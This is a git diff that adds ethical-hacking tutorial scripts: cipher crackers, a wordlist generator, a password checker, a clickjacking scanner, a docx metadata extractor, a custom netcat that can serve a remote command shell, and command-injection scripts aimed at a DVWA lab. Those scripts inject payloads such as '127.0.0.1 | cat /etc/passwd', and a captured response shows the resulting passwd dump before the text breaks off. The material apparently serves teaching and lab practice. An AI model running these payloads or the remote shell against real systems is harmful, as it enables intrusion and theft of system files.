# Generate all possible combinations of characters with the given length. + for combination in itertools.product(characters, repeat=length): + # Join the characters to form a word and write it to the file + word = ''.join(combination) + file.write(word + '\n') + + +# Create an ArgumentParser object for handling command line arguments. +parser = argparse.ArgumentParser(description="Generate a custom wordlist similar to crunch.") + +# Define command line arguments. +parser.add_argument("-c", "--characters", type=str, default="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789", + help="Set of characters to include in the wordlist") +parser.add_argument("-min", "--min_length", type=int, default=4, help="Minimum length of the words") +parser.add_argument("-max", "--max_length", type=int, default=6, help="Maximum length of the words") +parser.add_argument("-o", "--output_file", type=str, default="custom_wordlist.txt", help="Output file name") + +# Parse the command line arguments. +args = parser.parse_args() + +# Call the generate_wordlist function with the provided arguments. +generate_wordlist(args.characters, args.min_length, args.max_length, args.output_file) + +# Print a message indicating the wordlist has been generated and saved. +print(f"[+] Wordlist generated and saved to {args.output_file}") diff --git a/ethical-hacking/caesar-cipher/README.md b/ethical-hacking/caesar-cipher/README.md new file mode 100644 index 00000000..9c91133f --- /dev/null +++ b/ethical-hacking/caesar-cipher/README.md @@ -0,0 +1,2 @@ +# [How to Implement the Caesar Cipher in Python](https://thepythoncode.com/article/implement-caesar-cipher-in-python) +# [How to Crack the Caesar Cipher in Python](https://thepythoncode.com/article/how-to-crack-caesar-cipher-in-python) \ No newline at end of file diff --git a/ethical-hacking/caesar-cipher/caeser_cipher.py b/ethical-hacking/caesar-cipher/caeser_cipher.py new file mode 100644 index 00000000..2bffbc69 --- /dev/null +++ b/ethical-hacking/caesar-cipher/caeser_cipher.py @@ -0,0 +1,46 @@ +import sys # The sys module for system-related operations. +from colorama import Fore, init # Import the colorama for colored text + +init() # Initialize the colorama library for colored text. + + +def implement_caesar_cipher(message, key, decrypt=False): + # Initialize an empty string to store the result. + result = "" + # Iterate through each character in the user's input message. + for character in message: + # Check if the character is an alphabet letter. + if character.isalpha(): + # Determine the shift amount based. i.e the amount of times to be shifted e.g 2,3,4.... + shift = key if not decrypt else -key + # Check if the character is a lowercase letter. + if character.islower(): + # Apply Caesar cipher transformation for lowercase letters. + result += chr(((ord(character) - ord('a') + shift) % 26) + ord('a')) + else: + # Apply Caesar cipher transformation for uppercase letters. + result += chr(((ord(character) - ord('A') + shift) % 26) + ord('A')) + else: + # Preserve non-alphabet characters as they are. + result += character + return result # Return the encrypted or decrypted result. + + +# Prompt the user to enter the text to be encrypted +text_to_encrypt = input(f"{Fore.GREEN}[?] Please Enter your text/message: ") +# Prompt the user to specify the shift length (the key). +key = int(input(f"{Fore.GREEN}[?] Please specify the shift length: ")) + + +# Check if the specified key is within a valid range (0 to 25). +if key > 25 or key < 0: + # Display an error message if the key is out of range. + print(f"{Fore.RED}[!] Your shift length should be between 0 and 25 ") + sys.exit() # Exit the program if the key is invalid. + +# Encrypt the user's input using the specified key. +encrypted_text = implement_caesar_cipher(text_to_encrypt, key) + +# Display the encrypted text. +print(f"{Fore.GREEN}[+] {text_to_encrypt} {Fore.MAGENTA}has been encrypted as {Fore.RED}{encrypted_text}") + diff --git a/ethical-hacking/caesar-cipher/crack_ceaser_cipher.py b/ethical-hacking/caesar-cipher/crack_ceaser_cipher.py new file mode 100644 index 00000000..6d7f0d9d --- /dev/null +++ b/ethical-hacking/caesar-cipher/crack_ceaser_cipher.py @@ -0,0 +1,55 @@ +# Import colorama for colorful text. +from colorama import Fore, init + +init() + + +# Define a function for Caesar cipher encryption. +def implement_caesar_cipher(text, key, decrypt=False): + # Initialize an empty string to store the result. + result = "" + + # Iterate through each character in the input text. + for char in text: + # Check if the character is alphabetical. + if char.isalpha(): + # Determine the shift value using the provided key (or its negation for decryption). + shift = key if not decrypt else -key + + # Check if the character is lowercase + if char.islower(): + # Apply the Caesar cipher encryption/decryption formula for lowercase letters. + result += chr(((ord(char) - ord('a') + shift) % 26) + ord('a')) + else: + # Apply the Caesar cipher encryption/decryption formula for uppercase letters. + result += chr(((ord(char) - ord('A') + shift) % 26) + ord('A')) + else: + # If the character is not alphabetical, keep it as is e.g. numbers, punctuation + result += char + + # Return the result, which is the encrypted or decrypted text + return result + + +# Define a function for cracking the Caesar cipher. +def crack_caesar_cipher(ciphertext): + # Iterate through all possible keys (0 to 25) as there 26 alphabets. + for key in range(26): + # Call the caesar_cipher function with the current key to decrypt the text. + decrypted_text = implement_caesar_cipher(ciphertext, key, decrypt=True) + + # Print the result, showing the decrypted text for each key + print(f"{Fore.RED}Key {key}: {decrypted_text}") + + +# Initiate a continuous loop so the program keeps running. +while True: + # Accept user input. + encrypted_text = input(f"{Fore.GREEN}[?] Please Enter the text/message to decrypt: ") + # Check if user does not specify anything. + if not encrypted_text: + print(f"{Fore.RED}[-] Please specify the text to decrypt.") + else: + crack_caesar_cipher(encrypted_text) + + diff --git a/ethical-hacking/caesar-cipher/requirements.txt b/ethical-hacking/caesar-cipher/requirements.txt new file mode 100644 index 00000000..3d90aaa5 --- /dev/null +++ b/ethical-hacking/caesar-cipher/requirements.txt @@ -0,0 +1 @@ +colorama \ No newline at end of file diff --git a/ethical-hacking/checking-password-strength/README.md b/ethical-hacking/checking-password-strength/README.md new file mode 100644 index 00000000..a0677af7 --- /dev/null +++ b/ethical-hacking/checking-password-strength/README.md @@ -0,0 +1 @@ +# [How to Check Password Strength with Python](https://thepythoncode.com/article/test-password-strength-with-python) \ No newline at end of file diff --git a/ethical-hacking/checking-password-strength/check_password_strength.py b/ethical-hacking/checking-password-strength/check_password_strength.py new file mode 100644 index 00000000..cf897997 --- /dev/null +++ b/ethical-hacking/checking-password-strength/check_password_strength.py @@ -0,0 +1,37 @@ +from zxcvbn import zxcvbn +import pprint, getpass, sys + + +def test_single_password(): + password = getpass.getpass("[?] Enter your password: ") + result = zxcvbn(password) + print(f"Value: {result['password']}") + print(f"Password Score: {result['score']}/4") + print(f"Crack Time: {result['crack_times_display']['offline_slow_hashing_1e4_per_second']}") + print(f"Feedback: {result['feedback']['suggestions']}") + #pprint.pp(result) + + +def test_multiple_passwords(password_file): + try: + with open(password_file, 'r') as passwords: + for password in passwords: + result = zxcvbn(password.strip('\n')) + print('\n[+] ######################')# for readability + print(f"Value: {result['password']}") + print(f"Password Score: {result['score']}/4") + print(f"Crack Time: {result['crack_times_display']['offline_slow_hashing_1e4_per_second']}") + print(f"Feedback: {result['feedback']['suggestions']}") + #pprint.pp(result) + + except Exception: + print('[!] Please make sure to specify an accessible file containing passwords.') + + +if len(sys.argv) == 2: + test_multiple_passwords(sys.argv[1]) +elif len(sys.argv) == 1: + test_single_password() +else: + print('Usage: python test_password_strength.py (for a file containing passwords) or \ + \npython test_password_strength.py (for a single password.)') \ No newline at end of file diff --git a/ethical-hacking/checking-password-strength/passwords.txt b/ethical-hacking/checking-password-strength/passwords.txt new file mode 100644 index 00000000..78b151ad --- /dev/null +++ b/ethical-hacking/checking-password-strength/passwords.txt @@ -0,0 +1,4 @@ +password +1234567 +abc123cba159 +Sioplabxtre_9lTGCE diff --git a/ethical-hacking/checking-password-strength/requirements.txt b/ethical-hacking/checking-password-strength/requirements.txt new file mode 100644 index 00000000..7f766a99 --- /dev/null +++ b/ethical-hacking/checking-password-strength/requirements.txt @@ -0,0 +1 @@ +zxcvbn \ No newline at end of file diff --git a/ethical-hacking/clickjacking-scanner/README.md b/ethical-hacking/clickjacking-scanner/README.md new file mode 100644 index 00000000..11c88d59 --- /dev/null +++ b/ethical-hacking/clickjacking-scanner/README.md @@ -0,0 +1 @@ +# [How to Make a Clickjacking Vulnerability Scanner in Python](https://thepythoncode.com/article/make-a-clickjacking-vulnerability-scanner-with-python) \ No newline at end of file diff --git a/ethical-hacking/clickjacking-scanner/clickjacking_scanner.py b/ethical-hacking/clickjacking-scanner/clickjacking_scanner.py new file mode 100644 index 00000000..c8933bac --- /dev/null +++ b/ethical-hacking/clickjacking-scanner/clickjacking_scanner.py @@ -0,0 +1,55 @@ +import requests, argparse + + +# Function to check if a website is vulnerable to clickjacking. +def check_clickjacking(url): + try: + # Add https:// schema if not present in the URL. + if not url.startswith('http://') and not url.startswith('https://'): + url = 'https://' + url + + # Send a GET request to the URL. + response = requests.get(url) + headers = response.headers + + # Check for X-Frame-Options header. + if 'X-Frame-Options' not in headers: + return True + + # Get the value of X-Frame-Options and check it.. + x_frame_options = headers['X-Frame-Options'].lower() + if x_frame_options != 'deny' and x_frame_options != 'sameorigin': + return True + + return False + except requests.exceptions.RequestException as e: + print(f"An error occurred while checking {url} - {e}") + return False + +# Main function to parse arguments and check the URL. +def main(): + parser = argparse.ArgumentParser(description='Clickjacking Vulnerability Scanner') + parser.add_argument('url', type=str, help='The URL of the website to check') + parser.add_argument('-l', '--log', action='https://github.com/store_true', help='Print out the response headers for analysis') + args = parser.parse_args() + + url = args.url + is_vulnerable = check_clickjacking(url) + + if is_vulnerable: + print(f"[+] {url} may be vulnerable to clickjacking.") + else: + print(f"[-] {url} is not vulnerable to clickjacking.") + + if args.log: + # Add https:// schema if not present in the URL for response printing. + if not url.startswith('http://') and not url.startswith('https://'): + url = 'https://' + url + + print("\nResponse Headers:") + response = requests.get(url) + for header, value in response.headers.items(): + print(f"{header}: {value}") + +if __name__ == '__main__': + main() diff --git a/ethical-hacking/clickjacking-scanner/requirements .txt b/ethical-hacking/clickjacking-scanner/requirements .txt new file mode 100644 index 00000000..663bd1f6 --- /dev/null +++ b/ethical-hacking/clickjacking-scanner/requirements .txt @@ -0,0 +1 @@ +requests \ No newline at end of file diff --git a/ethical-hacking/crack-affine-cipher/README.md b/ethical-hacking/crack-affine-cipher/README.md new file mode 100644 index 00000000..bd70cb4b --- /dev/null +++ b/ethical-hacking/crack-affine-cipher/README.md @@ -0,0 +1 @@ +# [How to Crack the Affine Cipher in Python](https://thepythoncode.com/article/how-to-crack-the-affine-cipher-in-python) \ No newline at end of file diff --git a/ethical-hacking/crack-affine-cipher/affine_cipher_decrypt.py b/ethical-hacking/crack-affine-cipher/affine_cipher_decrypt.py new file mode 100644 index 00000000..252fde0a --- /dev/null +++ b/ethical-hacking/crack-affine-cipher/affine_cipher_decrypt.py @@ -0,0 +1,92 @@ +# Import the needed libraries. +import string +from colorama import Fore, init + +# Initialise colorama. +init() + + +# Function to get Euclidean Algorithm. +def extended_gcd(a, b): + """ + Extended Euclidean Algorithm to find the greatest common divisor + and coefficients x, y such that ax + by = gcd(a, b). + """ + if a == 0: + return (b, 0, 1) + else: + g, x, y = extended_gcd(b % a, a) + return (g, y - (b // a) * x, x) + + +# Function to get the modular Inverse +def modular_inverse(a, m): + """ + Compute the modular multiplicative inverse of a modulo m. + Raises an exception if the modular inverse does not exist. + """ + g, x, y = extended_gcd(a, m) + if g != 1: + raise Exception('Modular inverse does not exist') + else: + return x % m + + +# Function to decrypt our message. +def affine_decrypt(ciphertext, a, b): + """ + Decrypt a message encrypted with the Affine Cipher using + the given key components a and b. + """ + alphabet = string.ascii_uppercase + m = len(alphabet) + plaintext = '' + + # Compute the modular multiplicative inverse of a. + a_inv = modular_inverse(a, m) + + # Iterate through each character in the ciphertext. + for char in ciphertext: + # Check if the character is in the alphabet + if char in alphabet: + # If it's an alphabet letter, decrypt it. + # Find the index of the character in the alphabet. + c = alphabet.index(char) + # Apply the decryption formula: a_inv * (c - b) mod m. + p = (a_inv * (c - b)) % m + # Append the decrypted character to the plaintext. + plaintext += alphabet[p] + else: + # If the character is not in the alphabet, keep it unchanged. + plaintext += char + + # Return the decrypted plaintext. + return plaintext + + +# Function to peform brute force attack. +def affine_brute_force(ciphertext): + """ + Brute-force attack to find possible keys for an Affine Cipher + and print potential decryptions for manual inspection. + """ + alphabet = string.ascii_uppercase + m = len(alphabet) + + # Iterate through possible values for a. + for a in range(1, m): + # Ensure a and m are coprime. + if extended_gcd(a, m)[0] == 1: + # Iterate through possible values for b. + for b in range(0, m): + # Decrypt using the current key. + decrypted_text = affine_decrypt(ciphertext, a, b) + + # Print potential decryption for manual inspection. + print(f"Key (a={a}, b={b}): {decrypted_text}") + + +ciphertext = input(f"{Fore.GREEN}[?] Enter Message to decrypt: ") + +# Perform a brute-force attack to find potential decrypted message. +affine_brute_force(ciphertext) diff --git a/ethical-hacking/crack-affine-cipher/requirements.txt b/ethical-hacking/crack-affine-cipher/requirements.txt new file mode 100644 index 00000000..3d90aaa5 --- /dev/null +++ b/ethical-hacking/crack-affine-cipher/requirements.txt @@ -0,0 +1 @@ +colorama \ No newline at end of file diff --git a/ethical-hacking/custom-netcat/README.md b/ethical-hacking/custom-netcat/README.md new file mode 100644 index 00000000..81366e68 --- /dev/null +++ b/ethical-hacking/custom-netcat/README.md @@ -0,0 +1 @@ +# [How to Build a Custom NetCat with Python](https://thepythoncode.com/article/create-a-custom-netcat-in-python) \ No newline at end of file diff --git a/ethical-hacking/custom-netcat/netcat.py b/ethical-hacking/custom-netcat/netcat.py new file mode 100644 index 00000000..73313932 --- /dev/null +++ b/ethical-hacking/custom-netcat/netcat.py @@ -0,0 +1,322 @@ +import sys, socket, getopt, threading, subprocess, signal, time + + +class NetCat: + def __init__(self, target, port): + self.listen = False + self.command = False + self.upload = False + self.execute = "" + self.target = target + self.upload_destination = "" + self.port = port + self.running = True + self.threads = [] + + def signal_handler(self, signum, frame): + print('\n[*] User requested an interrupt. Exiting gracefully.') + self.running = False + time.sleep(0.5) + sys.exit(0) + + def run_command(self, cmd): + cmd = cmd.rstrip() + try: + output = subprocess.check_output(cmd, stderr=subprocess.STDOUT, shell=True) + except subprocess.CalledProcessError as e: + output = e.output + except Exception as e: + output = str(e).encode() + return output + + def handle_client(self, client_socket): + try: + if len(self.upload_destination): + file_buffer = "" + while self.running: + try: + data = client_socket.recv(1024) + if not data: + break + else: + file_buffer += data.decode('utf-8') + except (ConnectionResetError, BrokenPipeError) as e: + print(f"[!] Connection error during upload: {str(e)}") + break + except Exception as e: + print(f"[!] Error receiving data: {str(e)}") + break + + try: + with open(self.upload_destination, "wb") as file_descriptor: + file_descriptor.write(file_buffer.encode('utf-8')) + try: + client_socket.send( + f"Successfully saved file to {self.upload_destination}\r\n".encode('utf-8')) + except (BrokenPipeError, ConnectionResetError): + print("[!] Couldn't send success message - connection lost") + except OSError as e: + print(f"[!] File operation failed: {str(e)}") + try: + client_socket.send( + f"Failed to save file to {self.upload_destination}\r\n".encode('utf-8')) + except (BrokenPipeError, ConnectionResetError): + print("[!] Couldn't send error message - connection lost") + + if len(self.execute) and self.running: + try: + output = self.run_command(self.execute) + client_socket.send(output) + except (BrokenPipeError, ConnectionResetError): + print("[!] Couldn't send command output - connection lost") + except Exception as e: + print(f"[!] Error executing command: {str(e)}") + + if self.command: + while self.running: + try: + # Send prompt + client_socket.send(b" ") + + # Receive command + cmd_buffer = b'' + while b"\n" not in cmd_buffer and self.running: + try: + data = client_socket.recv(1024) + if not data: + raise ConnectionResetError("No data received") + cmd_buffer += data + except socket.timeout: + continue + except (ConnectionResetError, BrokenPipeError): + raise + + if not self.running: + break + + # Execute command and send response + try: + cmd = cmd_buffer.decode().strip() + if cmd.lower() in ['exit', 'quit']: + print("[*] User requested exit") + break + + output = self.run_command(cmd) + if output: + client_socket.send(output + b"\n") + else: + client_socket.send(b"Command completed without output\n") + + except (BrokenPipeError, ConnectionResetError): + print("[!] Connection lost while sending response") + break + except Exception as e: + error_msg = f"Error executing command: {str(e)}\n" + try: + client_socket.send(error_msg.encode()) + except: + break + + except ConnectionResetError: + print("[!] Connection reset by peer") + break + except BrokenPipeError: + print("[!] Broken pipe - connection lost") + break + except Exception as e: + print(f"[!] Error in command loop: {str(e)}") + break + + except Exception as e: + print(f"[!] Exception in handle_client: {str(e)}") + finally: + try: + client_socket.close() + print("[*] Client connection closed") + except: + pass + + def server_loop(self): + server = None + try: + if not len(self.target): + self.target = "0.0.0.0" + + server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + server.bind((self.target, self.port)) + server.listen(5) + + print(f"[*] Listening on {self.target}:{self.port}") + + server.settimeout(1.0) + + while self.running: + try: + client_socket, addr = server.accept() + print(f"[*] Accepted connection from {addr[0]}:{addr[1]}") + + client_thread = threading.Thread( + target=self.handle_client, + args=(client_socket,) + ) + client_thread.daemon = True + self.threads.append(client_thread) + client_thread.start() + + except socket.timeout: + continue + except Exception as e: + if self.running: + print(f"[!] Exception in server_loop: {str(e)}") + break + + except Exception as e: + print(f"[!] Failed to create server: {str(e)}") + finally: + if server: + try: + server.close() + print("[*] Server socket closed") + except: + pass + + for thread in self.threads: + try: + thread.join(timeout=1.0) + except threading.ThreadError: + pass + + def client_sender(self, buffer): + client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + + try: + print(f"[*] Connecting to {self.target}:{self.port}") + client.connect((self.target, self.port)) + + if len(buffer): + try: + client.send(buffer.encode('utf-8')) + except (BrokenPipeError, ConnectionResetError): + print("[!] Failed to send initial buffer - connection lost") + return + + while self.running: + try: + # Receive response from server + recv_len = 1 + response = b'' + + while recv_len: + data = client.recv(4096) + recv_len = len(data) + response += data + + if recv_len < 4096: + break + + if response: + print(response.decode('utf-8'), end='') + + # Get next command + buffer = input() + if not self.running: + break + + if buffer.lower() in ['exit', 'quit']: + break + + buffer += "\n" + try: + client.send(buffer.encode('utf-8')) + except (BrokenPipeError, ConnectionResetError): + print("\n[!] Failed to send data - connection lost") + break + + except ConnectionResetError: + print("\n[!] Connection reset by peer") + break + except BrokenPipeError: + print("\n[!] Broken pipe - connection lost") + break + except EOFError: + print("\n[!] EOF detected - exiting") + break + except Exception as e: + print(f"\n[!] Exception in client loop: {str(e)}") + break + + except socket.error as exc: + print("\n[!] Exception! Exiting.") + print(f"[!] Caught exception socket.error: {exc}") + finally: + print("[*] Closing connection") + try: + client.close() + except: + pass + +def main(): + if len(sys.argv[1:]) == 0: + print("Custom Netcat") + print("\nSYNOPSIS") + print(" netcat.py [OPTIONS...]\n") + print("OPTIONS") + print(" -l, --listen Start server in listening mode on specified host:port") + print(" -e, --execute= Execute specified file upon connection establishment") + print(" -c, --command Initialize an interactive command shell session") + print(" -u, --upload= Upload file to specified destination path on connection") + print(" -t, --target= Specify target hostname or IP address") + print(" -p, --port= Specify target port number") + print() + sys.exit(0) + + try: + opts, args = getopt.getopt(sys.argv[1:], "hle:t:p:cu:", + ["help", "listen", "execute", "target", + "port", "command", "upload"]) + + for o, a in opts: + if o in ("-h", "--help"): + main() + elif o in ("-l", "--listen"): + toolkit.listen = True + elif o in ("-e", "--execute"): + toolkit.execute = a + elif o in ("-c", "--command"): + toolkit.command = True + elif o in ("-u", "--upload"): + toolkit.upload_destination = a + elif o in ("-t", "--target"): + toolkit.target = a + elif o in ("-p", "--port"): + toolkit.port = int(a) + else: + assert False, "Unhandled Option" + + except getopt.GetoptError as err: + print(str(err)) + main() + + signal.signal(signal.SIGINT, toolkit.signal_handler) + signal.signal(signal.SIGTERM, toolkit.signal_handler) + + try: + if not toolkit.listen and len(toolkit.target) and toolkit.port > 0: + buffer = sys.stdin.read() + toolkit.client_sender(buffer) + + if toolkit.listen: + toolkit.server_loop() + except KeyboardInterrupt: + print("\n[*] User requested shutdown") + except Exception as e: + print(f"\n[!] Unexpected error: {str(e)}") + finally: + toolkit.running = False + print("[*] Shutdown complete") + sys.exit(0) + +if __name__ == "__main__": + toolkit = NetCat("", 0) + main() \ No newline at end of file diff --git a/ethical-hacking/docx-metadata-extractor/README.md b/ethical-hacking/docx-metadata-extractor/README.md new file mode 100644 index 00000000..fc8e91dc --- /dev/null +++ b/ethical-hacking/docx-metadata-extractor/README.md @@ -0,0 +1 @@ +# [How to Extract Metadata from Docx Files in Python](https://thepythoncode.com/article/docx-metadata-extractor-in-python) \ No newline at end of file diff --git a/ethical-hacking/docx-metadata-extractor/docs_metadata_extractor.py b/ethical-hacking/docx-metadata-extractor/docs_metadata_extractor.py new file mode 100644 index 00000000..794c1860 --- /dev/null +++ b/ethical-hacking/docx-metadata-extractor/docs_metadata_extractor.py @@ -0,0 +1,41 @@ +import docx # Import the docx library for working with Word documents. +from pprint import pprint # Import the pprint function for pretty printing. + +def extract_metadata(docx_file): + doc = docx.Document(docx_file) # Create a Document object from the Word document file. + core_properties = doc.core_properties # Get the core properties of the document. + + metadata = {} # Initialize an empty dictionary to store metadata + + # Extract core properties + for prop in dir(core_properties): # Iterate over all properties of the core_properties object. + if prop.startswith('__'): # Skip properties starting with double underscores (e.g., __elenent). Not needed + continue + value = getattr(core_properties, prop) # Get the value of the property. + if callable(value): # Skip callable properties (methods). + continue + if prop == 'created' or prop == 'modified' or prop == 'last_printed': # Check for datetime properties. + if value: + value = value.strftime('%Y-%m-%d %H:%M:%S') # Convert datetime to string format. + else: + value = None + metadata[prop] = value # Store the property and its value in the metadata dictionary. + + # Extract custom properties (if available). + try: + custom_properties = core_properties.custom_properties # Get the custom properties (if available). + if custom_properties: # Check if custom properties exist. + metadata['custom_properties'] = {} # Initialize a dictionary to store custom properties. + for prop in custom_properties: # Iterate over custom properties. + metadata['custom_properties'][prop.name] = prop.value # Store the custom property name and value. + except AttributeError: + # Custom properties not available in this version. + pass # Skip custom properties extraction if the attribute is not available. + + return metadata # Return the metadata dictionary. + + + +docx_path = 'test.docx' # Path to the Word document file. +metadata = extract_metadata(docx_path) # Call the extract_metadata function. +pprint(metadata) # Pretty print the metadata dictionary. \ No newline at end of file diff --git a/ethical-hacking/docx-metadata-extractor/requirements.txt b/ethical-hacking/docx-metadata-extractor/requirements.txt new file mode 100644 index 00000000..31245b28 --- /dev/null +++ b/ethical-hacking/docx-metadata-extractor/requirements.txt @@ -0,0 +1 @@ +python-docx \ No newline at end of file diff --git a/ethical-hacking/docx-metadata-extractor/test.docx b/ethical-hacking/docx-metadata-extractor/test.docx new file mode 100644 index 00000000..5bff270e Binary files /dev/null and b/ethical-hacking/docx-metadata-extractor/test.docx differ diff --git a/ethical-hacking/exploit-command-injection/README.md b/ethical-hacking/exploit-command-injection/README.md new file mode 100644 index 00000000..c0f69d8c --- /dev/null +++ b/ethical-hacking/exploit-command-injection/README.md @@ -0,0 +1 @@ +# [How to Exploit Command Injection Vulnerabilities in Python](https://thepythoncode.com/article/how-to-exploit-command-injection-vulnerabilities-in-python) \ No newline at end of file diff --git a/ethical-hacking/exploit-command-injection/command_injection_scanner.py b/ethical-hacking/exploit-command-injection/command_injection_scanner.py new file mode 100644 index 00000000..7a6b6333 --- /dev/null +++ b/ethical-hacking/exploit-command-injection/command_injection_scanner.py @@ -0,0 +1,58 @@ +# Import the necessary libraries. +import requests +from urllib.parse import urljoin + +# Define the target URL and login credentials. +target_url = "http://192.168.134.129/dvwa/" +login_url = urljoin(target_url, "login.php") +login_data = { + "username": "admin", + "password": "password", + "Login": "Login" +} + +# Define the vulnerable page URL. +vuln_page_url = urljoin(target_url, "vulnerabilities/exec/") + +# Define the test payload. +payload = "127.0.0.1 | cat /etc/passwd" + + +def check_command_injection(base_url, login_url, login_data, vuln_page_url): + print(f"[!] Checking for command injection vulnerabilities at {vuln_page_url}") + + # Authenticate with the application (DVWA). + session = requests.Session() + response = session.post(login_url, data=login_data) + + if "Login failed" in response.text: + print("[-] Authentication failed. Please check the credentials.") + return + + # Send the payload through the form. + form_data = { + "ip": payload, + "submit": "Submit" + } + + try: + response = session.post(vuln_page_url, data=form_data) + print(f"[!] Payload used: {payload}") + print("[+] Response after command injection:\n") + print("=" * 80) + print(response.text) + print("=" * 80) + print("\n[!] Please inspect the response to determine if the parameter is vulnerable to command injection.\n") + + # Write the response to a text file. + with open("response.txt", "w") as f: + f.write(response.text) + print("[+] Response written to response.txt") + except Exception as e: + print(f"[-] Error occurred while testing payload '{payload}': {e}") + + print("[+] Command injection testing completed.\n") + + +# Call the function with the required parameters. +check_command_injection(target_url, login_url, login_data, vuln_page_url) \ No newline at end of file diff --git a/ethical-hacking/exploit-command-injection/command_injection_scanner_auto.py b/ethical-hacking/exploit-command-injection/command_injection_scanner_auto.py new file mode 100644 index 00000000..5d78469d --- /dev/null +++ b/ethical-hacking/exploit-command-injection/command_injection_scanner_auto.py @@ -0,0 +1,75 @@ +# Import the necessary libraries. +import requests +from urllib.parse import urljoin +from colorama import Fore, Style, init + +# Initialise colorama. +init() + + +# Define the target URL and login credentials. +target_url = "http://192.168.134.129/dvwa/" +login_url = urljoin(target_url, "login.php") +login_data = { + "username": "admin", + "password": "password", + "Login": "Login" +} + +# Define the vulnerable page URL. +vuln_page_url = urljoin(target_url, "vulnerabilities/exec/") + +# Define the test payloads. +payloads = [ + "ls | whoami", + "127.0.0.1 | cat /etc/passwd", + "127.0.0.1 | ls -la" +] + +def check_command_injection(base_url, login_url, login_data, vuln_page_url, payloads): + print(f"[!] Checking for command injection vulnerabilities at {vuln_page_url}") + + # Authenticate with the application. + session = requests.Session() + response = session.post(login_url, data=login_data) + + if "Login failed" in response.text: + print("[-] Authentication failed. Please check the credentials.") + return + + responses = "" + + for payload in payloads: + # Send the payload through the form. + form_data = { + "ip": payload, + "submit": "Submit" + } + + try: + response = session.post(vuln_page_url, data=form_data) + print(f"{Fore.GREEN}[!] Payload used: {payload}{Style.RESET_ALL}") + print("[+] Response after command injection:\n") + print("=" * 80) + print(response.text) + print("=" * 80) + print(f"\n{Fore.YELLOW}[!] Please manually inspect the response to determine if the parameter is vulnerable to command injection.{Style.RESET_ALL}\n") + + responses += f"[!] Payload used: {payload}\n" + responses += "[+] Response after command injection:\n" + responses += "=" * 80 + "\n" + responses += response.text + responses += "=" * 80 + "\n\n" + except Exception as e: + print(f"{Fore.RED}[-] Error occurred while testing payload '{payload}': {e}{Style.RESET_ALL}") + responses += f"[-] Error occurred while testing payload '{payload}': {e}\n" + + # Write the responses to a text file. + with open("multiple_payload_response.txt", "w") as f: + f.write(responses) + print("[+] Responses written to response.txt") + + print("[+] Command injection testing completed.\n") + +# Call the function with the required parameters. +check_command_injection(target_url, login_url, login_data, vuln_page_url, payloads) \ No newline at end of file diff --git a/ethical-hacking/exploit-command-injection/multiple_payload_response.txt b/ethical-hacking/exploit-command-injection/multiple_payload_response.txt new file mode 100644 index 00000000..c87a195e --- /dev/null +++ b/ethical-hacking/exploit-command-injection/multiple_payload_response.txt @@ -0,0 +1,316 @@ +[!] Payload used: ls | whoami +[+] Response after command injection: +================================================================================ + + + + + + + + + Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: Brute Force + + + + + + + + + + +
+ + + + + +
+ + +
+

Vulnerability: Command Execution

+ +
+ +

Ping for FREE

+ +

Enter an IP address below:

+
+ + +
+ +
www-data
+
+ +
+ +

More info

+ +
+ +
+
+ + +
+ +
+
+ +
+
Username: admin
Security Level: medium
PHPIDS: disabled
+
+ + + +
+ + + +================================================================================ + +[!] Payload used: 127.0.0.1 | cat /etc/passwd +[+] Response after command injection: +================================================================================ + + + + + + + + + Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: Brute Force + + + + + + + + + + +
+ + + + + +
+ + +
+

Vulnerability: Command Execution

+ +
+ +

Ping for FREE

+ +

Enter an IP address below:

+
+ + +
+ +
root:x:0:0:root:/root:/bin/bash
+daemon:x:1:1:daemon:/usr/sbin:/bin/sh
+bin:x:2:2:bin:/bin:/bin/sh
+sys:x:3:3:sys:/dev:/bin/sh
+sync:x:4:65534:sync:/bin:/bin/sync
+games:x:5:60:games:/usr/games:/bin/sh
+man:x:6:12:man:/var/cache/man:/bin/sh
+lp:x:7:7:lp:/var/spool/lpd:/bin/sh
+mail:x:8:8:mail:/var/mail:/bin/sh
+news:x:9:9:news:/var/spool/news:/bin/sh
+uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
+proxy:x:13:13:proxy:/bin:/bin/sh
+www-data:x:33:33:www-data:/var/www:/bin/sh
+backup:x:34:34:backup:/var/backups:/bin/sh
+list:x:38:38:Mailing List Manager:/var/list:/bin/sh
+irc:x:39:39:ircd:/var/run/ircd:/bin/sh
+gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
+nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
+libuuid:x:100:101::/var/lib/libuuid:/bin/sh
+dhcp:x:101:102::/nonexistent:/bin/false
+syslog:x:102:103::/home/syslog:/bin/false
+klog:x:103:104::/home/klog:/bin/false
+sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
+msfadmin:x:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash
+bind:x:105:113::/var/cache/bind:/bin/false
+postfix:x:106:115::/var/spool/postfix:/bin/false
+ftp:x:107:65534::/home/ftp:/bin/false
+postgres:x:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
+mysql:x:109:118:MySQL Server,,,:/var/lib/mysql:/bin/false
+tomcat55:x:110:65534::/usr/share/tomcat5.5:/bin/false
+distccd:x:111:65534::/:/bin/false
+user:x:1001:1001:just a user,111,,:/home/user:/bin/bash
+service:x:1002:1002:,,,:/home/service:/bin/bash
+telnetd:x:112:120::/nonexistent:/bin/false
+proftpd:x:113:65534::/var/run/proftpd:/bin/false
+statd:x:114:65534::/var/lib/nfs:/bin/false
+
+ +
+ +

More info

+ +
+ +
+
+ + +
+ +
+
+ +
+
Username: admin
Security Level: medium
PHPIDS: disabled
+
+ + + +
+ + + +================================================================================ + +[!] Payload used: 127.0.0.1 | ls -la +[+] Response after command injection: +================================================================================ + + + + + + + + + Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: Brute Force + + + + + + + + + + +
+ + + + + +
+ + +
+

Vulnerability: Command Execution

+ +
+ +

Ping for FREE

+ +

Enter an IP address below:

+
+ + +
+ +
total 20
+drwxr-xr-x  4 www-data www-data 4096 May 20  2012 .
